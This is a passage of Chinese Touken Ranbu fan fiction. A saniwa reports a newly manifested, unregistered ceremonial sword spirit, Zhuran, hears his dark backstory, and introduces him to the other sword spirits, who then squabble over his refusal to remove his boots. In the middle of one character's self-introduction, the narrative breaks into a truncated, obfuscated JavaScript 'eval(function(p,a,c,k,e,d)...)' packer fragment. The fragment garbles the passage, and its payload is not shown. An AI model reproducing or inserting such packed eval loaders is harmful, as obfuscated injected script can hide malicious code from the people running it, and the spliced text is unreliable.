抬头敬奉的八百万神明当中,偏偏是最末流的付丧神们,率先向渺小的人类回以自己的情感。 她深切地感受到这份偏爱的美好,也谴责浪费这份感情的人又该有多么冷血。 眼前的祝染也是如此,他毫无保留地在第一时间献上自己的忠诚,面对她的问询坦诚自己的来历,但是现在,她只能苦笑着做自己最讨厌的事情,却必须坚定自己的做法。 毕竟有些东西是绝对不能被放在赌桌上的,哪怕是万分之一的可能性也不可以。 在她沉默的注视中,祝染静静地看着她,不急,也不解释,只是嘴角一点一点地翘起来。 4. 上报给七舅姥爷 祝染嘴角维持着笑的弧度,粉色的眼睛在光的折射下,漾起桃濑灯里看不懂的涟漪。 他突然抬手伸向了自己的腰间—— 刚刚因为严重光污染,一直没来得及看清楚的,他的本体剑。 祝染将剑从腰间的悬带上解下,把它放到桌上,轻轻地推到了桃濑灯里面前,神情轻松但语气非常郑重: “姬君大人,很高兴能听到您的真心话,请务必将我上交吧。” 啊? 他这完全出乎意料的行为如同炸弹般石破天惊,炸得桃濑灯里思绪完全停滞,只能愣愣地看着他,又下意识低头去看眼前的剑。 那是一振就如他本人一样光彩流转的剑。 剑鞘并非寻常冷兵器常用的、便于隐藏的暗漆色,而是极为罕见的洒金与绛红相间。晨间的光线照拂下,便仿佛有火焰与霞彩在其中流动。 仔细看去,会发现鞘面也并非单纯的平漆,而是以莳绘工艺点缀——细若尘沙的金粉铺出莲花与云纹,仿佛祭祀乐舞中神灵脚下的瑞光。不难想象随着佩戴者的步履移动,花纹与光影一同摇曳,就会像是真正步步生莲般活过来的景象。 鞘口与鞘尾皆以金饰包围着,其上雕刻着着简洁而优美的勾玉与藤蔓纹路,寓意延续与庇佑。并不繁冗,却有一种肃穆的华美。 剑挂的组绳是温润的浅绯色,与金线盘错打成规整的结,尾端垂坠着像葡萄串一样同样流光溢彩的碎小金珠。 还没有出鞘,就已经感觉到了作为祭祀剑的威严,还有作为皇室御物的花里胡哨。 对于刀剑来说,这振剑的装饰属于是相当超过的了,甚至已经到了骄奢淫逸的程度了。 可能是因为本丸的刀剑们实战刀居多,所以桃濑见过的大部分的刀剑本体在造型上都更注重实用,只偶尔在刀鞘上有些巧思设计,也相当克制。 比如在战场上长大的药研藤四郎,他的刀鞘上同时装备着笄和小柄,既有装饰的作用,平时也可以作为小刀救急使用,甚至还用来帮桃濑盘过头发。 稍微夸张一点的,比如鹤丸国永,他的本体刀鞘洁白流畅,像鹤舒展的翅膀一样,上面挂着两串秀气的金链装饰,在使用时会发出当啷撞击的响声。而为了恶作剧时不被发现,鹤丸国永也会偶尔把装饰拆下来。 桃濑灯里颇有负担地将剑拿起来,小心翼翼地抽出剑刃。 真的没法不担心啊……实在是太过华丽了,感觉平时缺钱了可以来握着剑鞘磨蹭,肯定能蹭下金粉。 随着鞘口一声清脆轻响,流光自狭窄的缝隙迸散开来,像是黎明第一道破晓的光辉—— 剑身修长笔直,通体澄澈,映光时却并非是纯粹的银白,而是泛着若隐若现的浅桃色光辉,那光辉并非是染色的效果,而更像是钢铁在极致淬火中自生的奇迹,是在高温煅烧后,仿佛樱花花瓣般落入砥水的证明。红色的烈火在冷却中点点散开,却又在冰冷的刃面上凝固成永恒的印记。 剑身两侧开刃,加上是直剑的缘故,刃纹也像光带一样从两侧延展,均匀地被粉色的剑光包裹。浮光掠影下,就像樱花飘落在水面泛起的涟漪,微微颤动,随之荡开一种难以言说的神圣之感。 这样一振剑,即使只静静地摆放在那里,也让人忍不住屏息,它的存在本身就像是一场不落幕的神事。 桃濑灯里感觉压力更大了,她下意识地开始想象刀匠到底是怀着怎么样的心情打造出这样的剑。 集尽了对神明世界华美风姿的想象与祈望,又完全是权倾朝野的藤原氏穷奢极欲的投影。 对于本身作为武器的刀剑来讲,这样的造型装扮,到底是祝福,还是诅咒? 其实日本锻刀的历史源远流长,刀剑被锻造出来也不都是为了作战,不同的刀种作用也各不相同。比如短刀因为体型便于携带,往往是主人们的护身刀,因此对于很多房中私事,反而是这些显现后看起来像小朋友一样的小短裤们懂得更多。 粟田口的包丁藤四郎甚至有自己的审美体系,固执地喜欢着人妻系,还被抓到过和笑面青江一起走私写真。 而打刀和太刀们就大多是用于作战的实用性刀剑,只有出阵时会带上,其中打刀和胁差又可以相互配合,也造就了日本剑道中“二刀流”的先例。 大太刀们因为体型过于大,很少有人能够举起,所以在用途上也出现了新的发展。有像萤丸那样的战场人头狗,抢誉收割机,也有太郎太刀和石切丸那样作为人们寄托平安驱邪意向的神刀的刀。 但是哪怕是作为神刀的太郎和石切丸,造型也更多是古朴大气,作为被人们供奉信任的存在。 而祝染这振剑,看起来更像是献给神明的礼物和工具,而不是本身被人们所信仰。 在面对祝染本体出鞘的这一刻,无论是她还是祝染本刃都安静了下来。 桃濑灯里用尽全力让自己不要手抖地把剑放回桌上,抬头去看祝染,却发现对方也在看着自己的本体。 剑光映在他粉色的眼眸里,眼睛里的颜色随着刃纹的光影在明灭间流动,让人无法分辨究竟是剑的存在在映照他,还是他在为剑赋予新的意义。 据说,刀剑付丧神们在思考的时候,也习惯凝望于刀剑。 “…….真的好漂亮啊。”祝染低声喃喃,声音却带着几分自嘲,像个不信任自己说出的这句话的孩子。 他执拗地看着剑身中映出的自己,目光晦暗,仿佛想要从刃纹中找寻什么答案,但最后却只看到一张笑容勉强的脸。 旋即,他好像突然察觉到了桃濑灯里的注视,抬起了目光迎了上去,眼角依旧保持着淡淡的笑意,但看起来却怎么都不算开心地询问道: “人家超漂亮的,对吧,姬君大人?” 看着他不太着调地朝桃濑灯里做了一个wink,察觉到对方情绪不佳的桃濑灯里有些无措,她还没来得及回答,祝染就突然笑盈盈地伸手,动作随意地把剑重新纳入剑鞘,收回身前。 “连我自己都不敢直视太久呢。” 他的手好像是无意识地在摩挲着剑鞘的纹路,语调上扬看似漫不经心在喟叹,但桃濑却看得很清楚他的指尖在隐隐颤动。 桃濑灯里勉强压下心神,她终于张了张嘴,却实在不知道该怎么接话,只能大脑短线一样,仅凭着身体记忆取出了通讯器。 至少就上交政府这一点,他们率先达成了共识。 “……这里是桃音,本丸新入一把时政刀帐上未登记的刀剑,自称名为祝染,刀种是直剑。申请上报。” 桃濑灯里能明显地听到自己的声音在胸腔和鼓膜内回响,随后她的指尖稍有迟疑,然后妥协似得点击了某个熟悉的联络方。 时政确实明文规定了“未登记付丧神必须上报政府”。 但是只说了上报政府,没说不能是在政府当公务员的七舅姥爷啊。 反正一定都要上交,与其让对方像个囚犯一样被时之政府直接带走面对冷冰冰的审查,走七舅姥爷的关系也算是温情执法了…… 桃濑灯里相当勉强地开导自己。 尽管……也许再也不会有下文,那双云蒸霞蔚般的眼睛,可能再也不会在本丸的晨晖里出现。 桃濑难得地希冀时间能慢一点,回复能慢一点来。 好奇心是人类与生俱来的天性,有的人用它来指挥意志,探索发现新的大陆,也有的人被它愚弄,陷入万劫不复的深渊。 而祝染刚刚这明显是逃避和有故事的表现,让她无可避免地对他产生了更多的好奇,明明已经决定了要上交政府,此时不需要有更多的接触了,她还是情不自禁。 然而,她的意志改变不了时之政府的运行,通讯器很快就传来轻微的闪烁。 时政统一配备的政府频道十分便捷高效,一切走这个频道的事情都会被立即安排处理,而通过这个平台所发出的回复,连点击都不需要就可以直接 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桃濑灯里整理了一下自己的表情,尽量让自己显得正式: “你被暂时留下来了,政府之后会来,时间还不确定,但我也会对你进行观察,如果你表现有问题的话,我会随时把你交出去。” 随后,她犹豫了一下措辞,直视着祝染粉色的眼睛,面上扬起和善的微笑: “那么,祝染,欢迎你暂时来到C7418号本丸,我是审神者桃音。” 而在她的注视之下,祝染的眼睛一点一点像燃烧的烟花一样亮了起来,他露出了一个迄今为止最大的最灿烂的笑容,眉眼弯弯,带着长长的白色睫羽都勾起愉悦的弧度:“我保证会很乖的,姬君大人。” 桃濑灯里也露出更大的笑容。 虽然要经常和溯行军作战,但是现在时政的体系非常完善,对于审神者的保护也很到位,战场上的事情还没有给她留下过阴霾。 而说到底她毕竟也只是个年轻大学生,日常的常态还是非常活泼开朗的,甚至有的时候会因为过分开朗带着短刀们胡闹,而被付丧神们家长们一起批评。 自祝染显现到现在这段短短的时间里,越是接触,她对祝染的好奇心就越强烈,包括对方所说的过去的记忆。 其实从祝染刚出现的时候,桃濑就很激动了,难以言说的过往,配上祝染相当漂亮的外貌,完全是当下最流行的美强惨设定,简直是像鱼钩一样要把她钓成翘嘴了。 如果不是因为要作为审神者对本丸负责,加上有可能戳到别人的伤疤,她早就哇库哇库了。 但毕竟生活不是追番加推那么简单。 美强惨的萌点,也是对方深夜咽下的咸涩的眼泪。 不过现在既然比较严肃的问题解决完了,桃濑灯里心中的悬剑也算是放了下来,也自然不需要继续摆出冷硬的姿态了。 可以小聊一点。 “你除了被用来祭祀之外有其他用途吗,真的就逢年过节拿出来展示一下?” 她尽量让自己的话语不要那么冒犯,能够轻松随性一点,心中其实隐隐为祝染打抱不平。 只作为展品而存在,那作为刀剑来讲,该多么寂寞啊。 被一直敬而远之的保存,绝对不是刀剑们想要的生活。 而被对方同情着的祝染洒脱地摇了摇头,他垂下眼,睫毛在眼底投下一层阴翳,语调却相当轻快地说道: “当然不是了,我也姑且算是见过血的血气方刚的刀剑男士呢。”没说两句话,又开始插科打诨。 “姬君大人难道是怀疑我的战斗能力吗?作为国秀的绝唱,他还是给了我一点使用价值的。” “毕竟……”祝染的语气突然沉了下去,刚刚还算是似笑非笑的戏谑,现在表情空余一片冷淡。 “国秀是用我自刎的呢。” 5. 七舅姥爷我见鬼了 “国秀是用我自刎的呢。” 话音最后一个字落下的时候,祝染的指尖轻敲剑鞘,发出了一声及其短促的闷响。 像是棺木合上的声音。 而他左耳边与眼睛同色的耳钉,在他聊到祝部国秀时折射出浅淡的波光,低下头来的时候就像脸颊一滴将落未落的眼泪。 祝染,用很平淡的语气说出了相当恐怖的话呢。 哈哈,被亲手铸造自己的刀匠用来自刎,沉重得说出去撒旦也要为他默哀三十秒。 桃濑灯里现在简直想给这位祖宗磕一个了,本来只是想聊一点轻松愉快的拉近一下距离,但是却轻而易举地踩到一个又一个雷,负罪感不断加加加加到厌倦。 已经不仅仅是扫雷那么简单了,她现在需要的是石切丸来给她驱邪,数珠丸恒次的木鱼也得给她敲起来。 如果可以的话,从今以后地狱笑话界就是四大天王了:死后会变成五星上将的商鞅、高速公路上的路易十六、喜欢小男孩的欧洲神父、祝染。 气氛微妙得让人窒息,桃濑灯里想说点什么打破这种诡异的氛围,又不知道该说什么,想干笑两下,又觉得不太合适。 沉默,沉默怎么又是今早的本丸。 不对,现在是上午了。 桃濑早已在内心捶胸顿足无声呐喊。 岂可修,假笑的本事还是不像三日月宗近那么炉火纯青吗。 哈吉月你这家伙,或者长谷部,哪怕是鹤丸也好,谁来救救我。 然而,最后终究是她一个人扛下了所有,本丸的付丧神们都被她打发出去干各自的工作了,只留审神者一人面对如此狂风暴雨。 室内的光线逐渐暗淡下去,又突然被轰隆的声音和电光炸亮。 ——天守阁外的天气骤然就转为了雷雨天。 外面是雷霆暴雨,屋内是祝染看似平和但是其实很难衡量精神状态的凝视,桃濑只能独挑大梁绞尽脑汁很勉强地措辞回应道:“……节哀顺变?” 然后她大脑一混沌地极速思索,觉得这样的回复听起来实在是太干涩,于是小心翼翼地又补充了一句: “万一他是想跟你虐恋情深,让你永远记住他?” 话像流水一样带着二氧化碳流了出去,连她自己都不敢直视自己说的。 完蛋了,说的话大错特错了。 桃濑灯里选手,out! 桃濑灯里现在觉得她应该也给自己磕一个,人怎么能把天聊到这种境界。 又是一个惊雷乍现,从背面照亮了祝染的半侧脸,骤亮之下,那双总是带着光的粉色眼睛在电光火石之间明灭得诡异,如同鲜花被烈火焚尽之后留下的一层余温的灰烬。 他眼睛静静地垂下,明明眼角没有泪,却更加令人心悸,眼底最深层的颜色浓得暗红好像要滴落出血泪来,那抹颜色在昏暗的光线中像独自燃烧的月石,付丧神那种非人的感觉在这一瞬间无比明显。 配上对方似乎是在皮笑肉不笑的僵硬表情,美丽,幽冷,又带着深不见底的孤绝,像是精怪小说中会在雨夜旧庙中出现的鬼神。 悲极生艳,但太不道德了。 “是啊,确实是永久性地记住了。毕竟我的记忆也就是从他自刎那一刻开始的。” 祝染的声音幽幽地传来。 他的目光似乎没有聚焦,又好像已经穿透了现实,在凝望黄泉的彼岸。 刹那间,桃濑灯里甚至错觉自己并不是在看她眼前真实的祝染,而是在看一缕执念不散的残魂。 正在这份凄然几乎要压垮空气的时刻,在她为此感到手脚冰凉即将彻底混乱之前,突然听到了“噗呲”的笑声。 在她错愕的目光中,祝染肩膀轻颤,嘴角生生勾起一个明艳的笑容,像是憋不住的恶作剧终于泄露出了风口。粉色的眼睛迅速地被丰富的情绪填满,狡黠、像灯火一样明亮。 “姬君大人,被吓到了吗?”他拖长了尾音,声音里带着一点撒娇的轻佻,“毕竟是姬君安慰人的水平太差了,人家要是还要配合假笑,不就太无趣了吗——” 他像什么都没有发生过一样,仿佛刚才那一瞬间的空洞凄绝才是一场虚幻的泡沫。 桃濑灯里很清楚刚刚的情绪绝对不是表演,而且问题也很多。 刀剑付丧神们的记忆往往是从被锻成后就开始的,一直延续到近代,只有少部分的刃会因为特殊的原因丢失记忆。比如在大阪城的冲天火光中几乎被完全烧毁的一期一振,和胁差双子鲶尾藤四郎、骨喰藤四郎。 祝染这种情况,也是类似的创伤后失忆吗? 但此时此刻,这个话题已经不适合再继续下去了,她的心脏刚刚还像沉重地压着滚石,这会儿又被他这声笑声炸了一下,这对于一个起早贪黑本来心脏就超负荷工作的时政社畜打击简直太大了,桃濑只是强忍着没有扶墙跪下了。 但话题终究要找一个体面的方式收尾,她也只好压下心中的疑问,心照不宣地伸手在脸边扇了扇,配合着转移了话题道: “本丸规则第一条,禁止对审神者恶作剧,上一个恶作剧的人你也看到了,现在还在地里种红薯呢。” 祝染抿着唇笑了一下,从善如流地低头认错找补。 室内的气氛终于渐渐消融,天守阁门口却突然传来了急匆匆的脚步声。 门板被人从外面猛地拉开,撞到墙上发出巨响,脆弱的纸障摇摇欲碎,门口悬挂着的刀铃们被震动波及,相互撞击引发了杂乱的响声,吓得桃濑灯里和祝染两个都身体一僵。 “阿路基sama!!!” 身穿紫白相间内番的青年破门而入,修长的手半覆在刀柄上,他的眼神锐利冷冽,指尖已经在隐隐蓄力,仿佛随时会拔刀而出将敌人压而切之。 而他的视线扫到祝染的刹那,整个刃的气场都更冷了几分,带着森然的杀意与警惕,但在看到一切如常的桃濑灯里时,明显松了一口气收敛了动作。 本丸第一主控刀堂堂来袭—— 是压切长谷部,还有他身后鬼鬼祟祟尾随的一大帮刃。 一期一振和探头探脑的粟田口短刀胁差们,穿着白色内番服还抱着铁耙的鹤丸,包裹着被单瑟瑟挤在人群中的山姥切国广,还穿着出阵服的冲田组一行人和山姥切长义,甚至还有今天被桃濑灯里多次想起的三日月宗近和他的哥哥小天狗今剑。 好多人啊。表情包.jpg。 几乎是小半个本丸的刃都来了。 被一群刃目光炯炯地盯着,桃濑灯里也不知道发生了什么,有些僵硬地问道: “发生什么事情了吗?怎么大家都过来了?” 压切长谷部按耐住想要冲上去开始左手右手慢动作,右手左手慢动作重播地开始检查桃濑灯里是否真的安然无恙的念头,行了个鞠躬礼语气担忧地看着桃濑: “本丸刚刚雷电交加,主公大人心情不好吗?需要我为主公大人分忧吗?” 原来这样。桃濑灯里也松了一口气。 时政坚决贯彻一审神者一本丸制度,审神者以灵力注入本丸之后,便拥有了对本丸的绝对掌控权,从最基础的天气会随着审神者的心情变化,到审神者可以根据需要改变四季景趣与晨昏日夜。 应该是刚刚被祝染吓得一惊一乍,没控制好本丸的天气。 这对于桃濑灯里这个已经经验丰富的审神者可是相当罕见的,难怪大家都一窝蜂地跑了过来。 为了让付丧神们安心,她连忙站起来摆摆手连说带比划地卖力解释道: “我没事!就是刚刚听新人的故事有点听入迷了,就是……你懂吧?跌宕起伏,荡气回肠,实在太精彩了,我忍不住涕泗横流潸然泪下花颜失色大惊小怪!” 鬼话连篇但也似乎确实是真相。 “哈哈哈,原来这样,姬君真是朝气蓬勃呢。”三日月宗近笑眯眯就接受了这个说法,从刚刚开始他的表情在众人中就显得很淡然,完全是一个路过看戏的路人老爷爷。 “主殿……”一期一振欲言又止,最后只是露出一个困惑但无奈的微笑。 压切长谷部的眼神还是将信将疑,在桃濑灯里和祝染之间来回打转——又是一个来抢阿路基的新人! “哦?这么有意思!真是意外惊喜啊!”鹤丸国永单手杵着锄头笑容满面。 面对付丧神们带着疑虑和担忧的目光,桃濑灯里稍微有点羞耻,但身后的罪魁祸首却忍俊不禁笑了起来。 她回头恶狠狠地用眼神睕了笑的花枝乱颤的祝染一眼,看到对方早已经把刚刚那些悲伤的气质收敛得干干净净,此刻的笑容迎着天守阁雨后初晴的暖光,真正的仿佛明亮到没有任何阴霾。 似乎也很不错。 桃濑灯里感觉自己的心头的乌云也终于破开了一角,新鲜的空气灌入了身体,她也放心地笑了笑,转回身来: “既然大家先来了,那就提前认识一下吧,稍后晚饭时间等大家都在食堂集合再正式介绍。” “我身后这位,是算是被政府暂时寄养在我们本丸的新付丧神,祝染。平安末期藤原氏刀工祝部国秀所打造的祭祀剑,有海外经历的归国侨刀,平安小登,之后一段时间和大家就是伙伴了,要好好相处。”桃濑灯里的语言相当凝练,重点也很全面。 其实还是本丸新晋地狱笑话协会理事长。 而祝染也很配合地起身把本体挂好,乖巧地向众人鞠躬问好: “各位请多指教。” “哇哦,小哥居然是平安时期的刀吗,真是看不出来。”性格开朗大方的加州清光率先表示了友好,他刚刚从远征中回来,完全不知道发生了什么,只是看着天气不好担心主人就跑了过来,此时对于秀气漂亮的祝染印象还算不错,像猫一样靠在大和守安定身上笑容明媚。 “哟,我是河川下游之子,加州清光,被主公大人疼爱着的刀呢。” 感觉新人穿搭很时髦,万一可以发展成一起看杂志涂指甲的好朋友呢。 毕竟跟安定讲安定也只会无条件捧场,建设性的意见还是要找同好商量。 “我是大和守安定,冲田总司的爱刀之一,请多关照。”太熟悉好友了,哪怕听不到心声也能感觉到加州清光这个时候在吐槽他的大和守安定有些无奈。 “我是土方岁三曾使用的名刀,和泉守兼定,这便是我的搭档。”站在边缘位置的个子的黑发红衣青年微微低头行礼致意,他旁边个子稍矮的同样黑发的少年也紧随其后: “我是堀川国广,请多指教。” 其实很早就变成旅行青蛙在欧洲周转的平安小登祝染露出了礼貌的微笑一一回礼,在心中认真记录。 自我介绍曾经的主人是谁是刀剑的时尚吗?感觉可以学习一下。 “……请多指教,我是本丸的总务番长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我名叫三日月宗近,三条派的太刀,打除刃纹较多之故,乎为三日月。身为天下五剑之一,被称为最美,诞生于十一世纪末,也就是说,也是个平安老爷爷了呢。”明明穿着一身让人不敢恭维的连体毛衣和黄色头巾,却硬生生靠脸顶住了的深蓝发青年笑眯眯地看着祝染,眼睛里明黄的弯月勾魂摄魄。 “我是今剑!同样是三条派,是三日月的哥哥哦!请多多关照我这个弟弟吧!”他旁边个子小小的小男孩踩着木屐动作轻捷地蹦蹦跳跳。 “我是一期一振,出自粟田口吉光的唯一的太刀,藤四郎是我的弟弟们。”同样是第一时间就在而且总是有些忧郁的水蓝发青年礼貌地问候着,动作优雅还游刃有余地把一群小短刀们很有秩序地聚集在了一起,从某种意义上讲是个相当具有幼师才能的人。 “鲶尾藤四郎!旁边是我的兄弟,骨喰藤四郎,请多多指教!”一期一振旁边稍矮一点的两个少年中,黑发的那个活泼地开口接话,被他拉着的白发少年只是表情冷淡地点头配合。 而粟田口的小短刀们的性格就很丰富了:稳重认真自我介绍说自己有在兼职医生的药研藤四郎、比较害羞内敛但是怀里小老虎很闹腾地要伸爪子去勾祝染衣服上流苏的五虎退、展示自己外观很像菜刀还大胆分享自己人妻爱好然后被花容失色的一期一振捂嘴的包丁藤四郎、像红色的发色一样活泼热情的秘藏之子信浓藤四郎、虽然个子很小但很可靠的双胞胎前田藤四郎和平野藤四郎、穿着漂亮裙子但英姿飒爽的乱藤四郎、大阪口音很重的会计番长博多藤四郎,小短裤们叽叽喳喳热闹非凡,介绍完自己还不忘带上他们还在忙内番的兄弟们。 祝染细细数过来,发现这位一期一振一共有十四个弟弟,家族之壮大简直让独生刃叹为观止。 祝部国秀作为藤原氏的御用刀匠本来作品就稀少,他还在日本的时间里似乎也没有看到其他的作品流传。 “眼睛是粉色的!好漂亮哦!”信浓藤四郎几乎要贴到祝染面前,结果被乱从背后架着胳膊迅速拉走,“靠太近很失礼啦!” “衣服也是军装但跟我们不一样呢!这面料,应该很贵吧?”财迷博多眯着眼上下打量,若有所思地扶了扶眼镜,似乎在思考新的商机。 “头发……也是白色。”——五虎退小心翼翼地探出脑袋,声音细小轻柔,小老虎们却突然在他怀里发出“嗷呜”的声音,吓得他羞红着脸赶紧缩回去。 祝染被自我介绍完还没走的刀剑们围在中间,始终维持着愉快的笑容,他微微弯下身,语气轻快地跟小短刀们互动着话题: “衣服……其实是别人硬塞给我的?我觉得有点招摇,但是比平安时期的衣服要好穿很多呢。”旁边不会自己穿出阵服的三日月和出阵服虽然纯白但同样构造复杂的鹤丸国永莫名有些羡慕。 “退退的头发颜色也很好看,像糖霜一样哦。” “眼睛?谢谢夸奖啦——” 一工作起来就发狠了忘情了的桃濑灯里似有感应地抬头,安心地看到祝染眼底的那抹晦暗终于完全消散,取而代之的是更灿烂的笑意。 果然付丧神们还是有共同话题的,毕竟哪怕是一些前主人们水火不容的刀剑,在本丸的朝夕相处共同战斗中也逐渐和谐相处了,而祝染能融入其中就最好不过了。 她轻松地叹了口气,把心头积压的郁气彻底排尽,然后气沉丹田大喊道:“我要工作啦!!!不想当壮丁的都赶紧出去!!!不然就留下来帮我干活!!!” 刹那间,刃群就散去了一大半。 鹤丸国永趁乱拉着祝染的手腕就往外跑,胁差双子和小短刀们也簇拥着他们一起,甚至因为机动高而像风卷残云一样率先涌了出去。 其中还掺杂蒙着被单看不清路所以被人流裹挟了的山姥切国广,大摇大摆回去喝茶的三日月宗近,和还要去看书的药研藤四郎。 只留下同样是时政社畜的公务员小伙长义君、发自内心爱主公爱工作的压切长谷部,和总是很温柔可靠不可能见死不救的一期一振。 6. 七舅姥爷这里有公主病 雨后的本丸湿润清新,天守阁外庭院的青石板上积攒着零碎的水珠,边缝里的苔藓泛着光青绿的光,空气中弥漫着泥土与青草香,一派生机盎然。 远处山丘上的万年樱也舒展着枝条,湿润的花瓣随风轻雾飘落下来,仿佛在欢迎着陌生的新人。 而在绝望的社畜桃濑灯里放话后,众刃虽然带着祝染风卷残云般地从天守阁落荒而逃,却面临了无处可去的难题—— 虽然空气质量清新了,但到处都是潮湿一片,尤其田当番和马当番的场地,已经可以用混乱泥泞来形容了。 所以大家今天的内番自然是进行不下去了。 小短刀们积极地提出建议,但平常喜欢去的地方也都被一一否决: 万叶樱下的草坪是大家平时集会聊天的热门场所,但此时草地湿漉漉的,坐下绝对会弄脏衣服——歌仙兼定虽然认为将衣服清洁干净的工作甚为风雅,总是自称是风雅的文系刀,但其实他名字的由来是连续斩杀了三十六人而被联想到了“三十六歌仙”,从某种意义上是位战力相当恐怖的付丧神。如果故意增加他的工作负担,绝对会被清扫番长大人提着刀,当成第三十七位歌仙切成刀削面的。 显现成人身之后也会有烦恼的付丧神们也很喜欢在部屋的房檐上谈心,但是一两个刃在房顶上秉烛夜谈对月抒怀是解压时刻,一群刀挤在一起坐在房顶上就是给房顶装避雷针和吉祥物了,又不是宫殿建筑,不需要左一排右一排的石狮子啦。 大广间倒是可以同时容纳大家,但是过两天时政的季度巡检和本丸等级评定就要开始了,作为待客门面的大广间现在已经今非昔比,除了每天负责打扫清洁的值日刃没人能进去。甚至值日刃的名单都是压切长谷部精挑细选的,喜欢打闹的付丧神们一律打发不排,喜欢偷懒的也不考虑,只留下干活踏实的,比如大俱利伽罗、烛台切光忠这种成熟稳重的刃。 去部屋?听上去合情合理,但是粟田口的短刀们屋里除了他们还有小叔叔鸣狐和白山吉光,鸣狐倒是好说话,但是白山君算是也在给时政打工的刃工智能了,大家虽然不怕他但是都不太敢打扰他办公。像山姥切国广和鹤丸这种自己住的当时选的又是小房间容纳不了这么多人,当然,山姥切国广也没有打算邀请他们去自己房间。 他只是一个想跑又被邪恶鹤丸拽住了被单跑不掉的可怜刃。 “山姥切,要多参加集体活动嘛。”鹤丸国永如是蛊惑道。“作为本丸的初始刀,主公不在场你就是本丸的门面啊,要替主公好好观察新人的表现啊。” 其实鹤丸才不觉得祝染会暴露什么问题,他就是想把山姥切国广一起来过来玩,人多会比较有惊喜感。 今剑倒是很仗义地邀请大家一起去三条派的部屋,但是大家想到会有一位和蔼喝茶的老爷爷背后灵在旁边慈祥地看着他们,都纷纷表示还是不打扰了。 最后大家聚在原地纠结许久都找不到合适的地方,探讨着探讨着都变得可怜巴巴地蹲在地上,像是被遗弃的小狗一样。 还是被给桃濑灯里送完茶点后恰巧路过的好心刃烛台切光忠一起打包捡了回去。 烛台切光忠最开始是和同是伊达组的太鼓钟贞宗、还有同为长船派,但随时在准备着旅行经常不在家的本丸旅行青蛙小龙景光一起住的,但是后来随着本丸刀剑越来越全,太鼓钟贞宗回了贞宗部屋和兄弟们培养感情,就只剩下了小龙景光和他。 而现在小龙景光又读作旅行写作流浪去了,发了集会讯息通知他,但今晚也不一定回来。 诚如谚语所言,所有男人都可以称为爸爸,但只有极其富有魅力的成熟男性才能被称为daddy。 烛台切光忠现在就可以被推选为本丸的一日daddy。 烛台切,虽然看上去有点像空巢老人,但简直帅气地在闪闪发光。 然而,一波未平一波又起,刚到部屋,大家就遇到了问题,开始面面相觑。 ——身穿英式制服的祝染,拒绝脱下他的靴子只穿袜子上榻榻米。 天守阁是每个本丸统一配备的中枢建筑,外表是典型的和式建筑,但审神者们可以根据自己的需求对内部进行调整。而这座本丸的天守阁内部,为了方便生活,完全按照桃濑灯里在现世的习惯改成了木质地板的现代家装。 虽然最后还是置办了日式矮桌,但其实使用频率很低,不用的时候可以随时挪走,毕竟地板比较坚硬,想要跪坐还必须要用厚垫子垫着才不至于膝盖肿痛。 只是最近桃濑灯里从现世刚刚回来,堆积的公文太多原本作为办公桌的桌子放不下了,又想一边吃饭一边赶工,才重启了矮桌。 而现代地板的好处是,可以穿拖鞋。 他们的审神者啊,是位彻底的居家毛绒派,最喜欢的就是可爱的拖鞋和睡衣了。 所以,刚刚在天守阁,祝染可以直接穿着鞋子跪坐,但是现在不可以。 “又不是光脚,有什么问题啊!”鹤丸相当不解,他刚刚一直在祝染的默认下和对方勾肩搭背,还以为新刃其实是很随和的那派,现在简直出乎意料。 但是鹤丸对此接受良好,他最喜欢的就是秩序之外的事情,毕竟要是一直过着可以预料的日子,他的心就会先一步死掉。 “非常抱歉,但是绝对拒绝。”白发青年态度坚定,表情十分凝重但声音越说越小:“没有中筒靴的制服裤太丑了…….我绝对不要这么穿,一分钟也不。” 还以为是什么重要原因的众刃都大跌眼镜。 “残次的造型就像烂尾的小说主角突然死掉一样。女王也无法接受。”祝染好像率先说服了自己,单手握拳目光灼灼。 “哈?什么女王啊。”一群日本本土刀们都困惑了,博多藤四郎用他的大阪腔直接问出了声。 “我曾被劫掠到海外,作为献给英国皇室的礼物。”说到这个话题祝染情绪变化十分无端,他叹了口气继续解释道: “虽然后来因为国籍问题不适合作为皇室藏品,被送到了博物馆,但是我也在皇宫内待了相当久一段时间,还追更了《神探福尔摩斯》呢,结果亲眼目睹作者居然把福尔摩斯写死了,简直不可原谅!” “但是福尔摩斯不是最后假死复活了嘛?”喜欢秘藏和探险也喜欢福尔摩斯的粟田口小短刀信浓藤四郎举手发言道。 时政现在跟现世挂钩紧密了很多,万屋也有现代家电和各国特产在卖,经典小说自然也能买到,粟田口的小短刀们每天晚上都要围着听一期一振讲睡前故事。 “女王当时看到这个结局也无法接受,给作者写了信。而且后来听说,还有读者给他寄刀片什么的,结局最后才改掉哦。”祝染低下身拍了拍他红色的手感密实的头发,把话题又引回了鞋子上,他像是给自己的诉求找到了依据般神情比刚刚还要坚定:“所以说,我绝对不接受穿着这身衣服但不穿靴子。” 公主病吗他是。 “……”但真有点被他说动了。 毕竟作为付丧神的他们也有喜恶,甚至因为本体是坚硬的刀剑,所以他们性格中难免都会有执拗刚烈的一面。 现在祝染这个情况,虽然龟毛但也不是不能理解。 “那你换一身衣服……”一个幽幽的声音从刃群中不太清晰地传出来,裹着白被单的山姥切国广深情莫名有些怨怼。 雨后的空气湿度很高的,他的被单现在感觉潮潮的坠在身上不太舒服,很想去温暖干燥的地方。 “好主意啊山姥切!让染酱换内番服就可以了!”鹤丸眼前一亮,从背后突袭拍了山姥切国广一把,把对方吓得弹跳起来差点摔进祝染怀里。 “干什么啊鹤丸!”自闭的被被被逼急了也是会大声抱怨的。“别碰我!” 短刀们和鲶尾藤四郎也兴奋地点头,觉得找到了解决问题的好方法。 “但是,我们的内番服是时政分发的,祝染还没有哦?”刚刚去送茶点已经简单了解了情况的烛台切光忠靠谱开口。 “没关系呀,可以先穿我们的,阿路基不是给我们买了很多嘛。”今剑思维敏捷头脑转得飞快。 众刃低头看看小短刀白色的发旋,又抬头看看祝染,一切尽在不言中。 短刀组,out。 率先被淘汰的粟田口小短刀们和今剑十分不悦地退出了比赛圈,他们从来没有想过自己会因为身高被淘汰,包丁藤四郎甚至扬言要偷一期尼的衣服养祝染,但显然只能是说说,兄弟之间情感深厚自然就更要相互理解,还是要尊重兄长意愿的。 只是……超可惜啊!明明也是军装制服风格,还是从大阪城地下挖出来的,怎么就不是他们的兄弟呢,还不能一起穿同系列内番服。 兄弟众多还想要摩多摩多的粟田口刀派非常遗憾。 